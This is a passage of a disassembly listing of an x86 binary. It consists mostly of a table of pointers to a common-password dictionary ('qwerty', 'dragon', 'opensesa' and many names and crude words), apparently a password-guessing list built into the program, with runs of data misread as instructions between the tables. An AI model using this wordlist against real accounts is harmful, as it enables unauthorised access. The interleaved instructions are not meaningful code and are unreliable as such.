loc_429A25:				; CODE XREF: ___:004299E1j
		fiadd	dword ptr [edx+0]
		mov	ah, 0DAh
		inc	edx
		add	[edx+ebx*8-255BFFBEh], ch
		inc	edx
		add	[edx+ebx*8-256BFFBEh], bl
		inc	edx
		add	[edx+ebx*8-257FFFBEh], cl
		inc	edx
		add	[eax-26h], bh
		inc	edx
		add	[eax-26h], dh
		inc	edx
		add	[edx+ebx*8+42h], ah
		add	[edx+ebx*8+42h], bl
		add	[edx+ebx*8+42h], dl
		add	[eax-26h], cl
		inc	edx
		add	[edx+ebx*8], bh
		inc	edx
		add	[eax], dh
		fiadd	dword ptr [edx+0]
		sub	dl, bl
		inc	edx
		add	[edx+ebx*8], bl
		inc	edx
		add	[edx+ebx*8], dl
		inc	edx
		add	[edx+ebx*8], cl
		inc	edx
		add	[edx+ebx*8], al
		inc	edx
		add	ah, bh
		fld	dword ptr [edx+0]
		hlt
; ---------------------------------------------------------------------------
		db 0D9h, 42h, 0
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		db 0D0h, 0D8h
; ---------------------------------------------------------------------------

loc_429B06:				; CODE XREF: ___:00429B2Cj
		inc	edx
		add	ah, al
		fadd	dword ptr [edx+0]
		mov	esp, 0B40042D8h
		fadd	dword ptr [edx+0]
		lodsb
		fadd	dword ptr [edx+0]
		mov	al, ds:980042D8h
		fadd	dword ptr [edx+0]
		mov	eax, ds
		inc	edx
		add	[eax+780042D8h], al
		fadd	dword ptr [edx+0]
		jo	short loc_429B06
		inc	edx
		add	[eax+ebx*8+42h], ah
		add	[eax-28h], bl
		inc	edx
		add	[eax+ebx*8+42h], cl
		add	[eax+ebx*8+42h], al
		add	[eax+ebx*8], bh
		inc	edx
		add	[eax+ebx*8], dh
		inc	edx
		add	[eax+ebx*8], ch
		inc	edx
		add	[eax], ah
		fadd	dword ptr [edx+0]
		sbb	al, bl
		inc	edx
		add	[eax], dl
		fadd	dword ptr [edx+0]
		add	al, 0D8h
		inc	edx
		add	ah, bh
		xlat
		inc	edx
		add	ah, dh
		xlat
		inc	edx
		add	ah, ch
		xlat
		inc	edx
		add	al, ah
		xlat
		inc	edx
		add	al, bl
		xlat
		inc	edx
		add	al, dl
		xlat
		inc	edx
		add	al, cl
		xlat
		inc	edx
		add	al, al
		xlat
		inc	edx
		add	[eax-4FFFBD29h], bh
		xlat
		inc	edx
		add	[eax-5FFFBD29h], ch
		xlat
		inc	edx
		add	[edi+edx*8-2873FFBEh], dl
		inc	edx
		add	[eax+780042D7h], al
		xlat
		inc	edx
		add	[eax-29h], dh
		inc	edx
		add	[eax-29h], ch
		inc	edx
		add	[eax-29h], ah
		inc	edx
		add	[eax-29h], bl
		inc	edx
		add	[edi+edx*8+42h], cl
		add	[eax-29h], al
		inc	edx
		add	[edi+edx*8], dh
		inc	edx
		add	[edi+edx*8], ch
		inc	edx
		add	[edi+edx*8], ah
		inc	edx
		add	[edi+edx*8], bl
		inc	edx
		add	[edi+edx*8], dl
		inc	edx
		add	[edi+edx*8], cl
		inc	edx
		add	[edi+edx*8], al
		inc	edx
		add	ah, bh
		setalc
		inc	edx
		add	ah, dh
		setalc
		inc	edx
		add	ah, ch
		setalc
		inc	edx
		add	ah, ah
		setalc
		inc	edx
		add	ah, bl
		setalc
		inc	edx
		add	ah, dl
		setalc
		inc	edx
		add	ah, cl
		setalc
		inc	edx
		add	ah, al
		setalc
		inc	edx
		add	[esi+edx*8-294FFFBEh], bh
		inc	edx
		add	[eax-5FFFBD2Ah], ch
		setalc
		inc	edx
		add	[eax-6FFFBD2Ah], bl
		setalc
		inc	edx
		add	[eax+7C0042D6h], cl
		setalc
		inc	edx
		add	[esi+edx*8+42h], dh
		add	[esi+edx*8+42h], ch
		add	[esi+edx*8+42h], ah
		add	[esi+edx*8+42h], bl
		add	[esi+edx*8+42h], dl
		add	[esi+edx*8+42h], cl
		add	[esi+edx*8+42h], al
		add	[esi+edx*8], bh
		inc	edx
		add	[eax], dh
		setalc
		inc	edx
		add	[esi+edx*8], ah
		inc	edx
		add	[esi+edx*8], bl
		inc	edx
		add	[esi+edx*8], dl
		inc	edx
		add	[eax], cl
		setalc
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp		; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
; ---------------------------------------------------------------------------
		mov	esp, 0B40042CCh
		int	3		; Trap to Debugger
		inc	edx
		add	[esp+ecx*8-335BFFBEh], ch
		inc	edx
		add	[eax-6FFFBD34h], bl
		int	3		; Trap to Debugger
		inc	edx
		add	[eax-7FFFBD34h], cl
		int	3		; Trap to Debugger
		inc	edx
		add	[eax-34h], bh
		inc	edx
		add	[eax-34h], dh
		inc	edx
		add	[eax-34h], ch
		inc	edx
		add	[esp+ecx*8+42h], bl
		add	[esp+ecx*8+42h], dl
		add	[eax-34h], cl
		inc	edx
		add	[eax-34h], al
		inc	edx
		add	[eax], bh
		int	3		; Trap to Debugger
		inc	edx
		add	[eax], dh
		int	3		; Trap to Debugger
		inc	edx
		add	[eax], ch
		int	3		; Trap to Debugger
		inc	edx
		add	[eax], ah
		int	3		; Trap to Debugger
		inc	edx
		add	[eax], bl
		int	3		; Trap to Debugger
		inc	edx
		add	[eax], dl
		int	3		; Trap to Debugger
		inc	edx
		add	[esp+ecx*8], al
		inc	edx
		add	ah, bh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, dh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, ch
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, ah
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, bl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, dl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, al
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+ecx*8-344BFFBEh], bh
		inc	edx
		add	[ebx+ecx*8-345BFFBEh], ch
		inc	edx
		add	[ebx+ecx*8-346BFFBEh], bl
		inc	edx
		add	[ebx+ecx*8-347FFFBEh], cl
		inc	edx
		add	[eax-35h], bh
		inc	edx
		add	[eax-35h], dh
		inc	edx
		add	[eax-35h], ch
		inc	edx
		add	[eax-35h], ah
		inc	edx
		add	[eax-35h], bl
		inc	edx
		add	[eax-35h], dl
		inc	edx
		add	[eax-35h], cl
		inc	edx
		add	[eax-35h], al
		inc	edx
		add	[eax], bh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], dh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], ch
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], ah
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], bl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+ecx*8], cl
		inc	edx
		add	[ebx+ecx*8], al
		inc	edx
		add	ah, bh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
; ---------------------------------------------------------------------------
		fmul	st(2), st
		inc	edx
		add	ah, dl
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
; ---------------------------------------------------------------------------
		mov	esp, 0B40042CAh
		retf	42h
; ---------------------------------------------------------------------------
		lodsb
		retf	42h
; ---------------------------------------------------------------------------
		movsb
		retf	42h
; ---------------------------------------------------------------------------
		pushf
		retf	42h
; ---------------------------------------------------------------------------
		xchg	eax, esp
		retf	42h
; ---------------------------------------------------------------------------
		mov	edx, cs
		inc	edx
		add	[eax+740042CAh], al
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
; ---------------------------------------------------------------------------
		pop	esp
		retf	42h
; ---------------------------------------------------------------------------
		push	esp
		retf	42h
; ---------------------------------------------------------------------------
		dec	eax
		retf	42h
; ---------------------------------------------------------------------------
		inc	eax
		retf	42h
; ---------------------------------------------------------------------------
		cmp	dl, cl
		inc	edx
		add	[eax], dh
		retf	42h
; ---------------------------------------------------------------------------
		sub	dl, cl
		inc	edx
		add	[eax], ah
		retf	42h
; ---------------------------------------------------------------------------
		sbb	dl, cl
		inc	edx
		add	[eax], dl
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
; ---------------------------------------------------------------------------
		fadd	st(4), st
		inc	edx
		add	ah, dl
		les	eax, [edx+0]
		enter	42C4h, 0
		rol	ah, 42h
		add	[eax-4FFFBD3Ch], bh
		les	eax, [edx+0]
		movsb
		les	eax, [edx+0]
		cwde
		les	eax, [edx+0]
		mov	esp, es
		inc	edx
		add	[esp+eax*8-3B83FFBEh], al
		inc	edx
		add	[esp+eax*8+42h], dh
		add	[eax-3Ch], ch
		inc	edx
		add	[eax-3Ch], ah
		inc	edx
		add	[eax-3Ch], bl
		inc	edx
		add	[esp+eax*8+42h], cl
		add	[esp+eax*8+42h], al
		add	[esp+eax*8], bh
		inc	edx
		add	[esp+eax*8], dh
		inc	edx
		add	[esp+eax*8], ch
		inc	edx
		add	[esp+eax*8], ah
		inc	edx
		add	[esp+eax*8], bl
		inc	edx
		add	[esp+eax*8], dl
		inc	edx
		add	[esp+eax*8], cl
		inc	edx
		add	[esp+eax*8], al
		inc	edx
		add	ah, bh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, dh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, bl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, dl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, cl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, al
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+eax*8-3C4BFFBEh], bh
		inc	edx
		add	[ebx+eax*8-3C5BFFBEh], ch
		inc	edx
		add	[ebx+eax*8-3C6BFFBEh], bl
		inc	edx
		add	[eax-7FFFBD3Dh], cl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax-3Dh], bh
		inc	edx
		add	[eax-3Dh], dh
		inc	edx
		add	[ebx+eax*8+42h], ah
		add	[eax-3Dh], bl
		inc	edx
		add	[eax-3Dh], dl
		inc	edx
		add	[eax-3Dh], cl
		inc	edx
		add	[eax-3Dh], al
		inc	edx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], dl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, bh
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
; ---------------------------------------------------------------------------
		fadd	st, st(2)
		inc	edx
		add	al, dl
		retn	42h
; ---------------------------------------------------------------------------
		enter	42C2h, 0
		rol	dl, 42h
		add	[eax-4FFFBD3Eh], bh
		retn	42h
; ---------------------------------------------------------------------------
		movsb
		retn	42h
; ---------------------------------------------------------------------------
		cwde
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aProfile	; "profile"
; ---------------------------------------------------------------------------
		mov	dl, al
		inc	edx
		add	[eax+780042C2h], al
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
; ---------------------------------------------------------------------------
		pop	eax
		retn	42h
; ---------------------------------------------------------------------------
		push	eax
		retn	42h
; ---------------------------------------------------------------------------
		dec	eax
		retn	42h
; ---------------------------------------------------------------------------
		inc	eax
		retn	42h
; ---------------------------------------------------------------------------
		cmp	dl, al
		inc	edx
		add	[eax], dh
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom_0	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
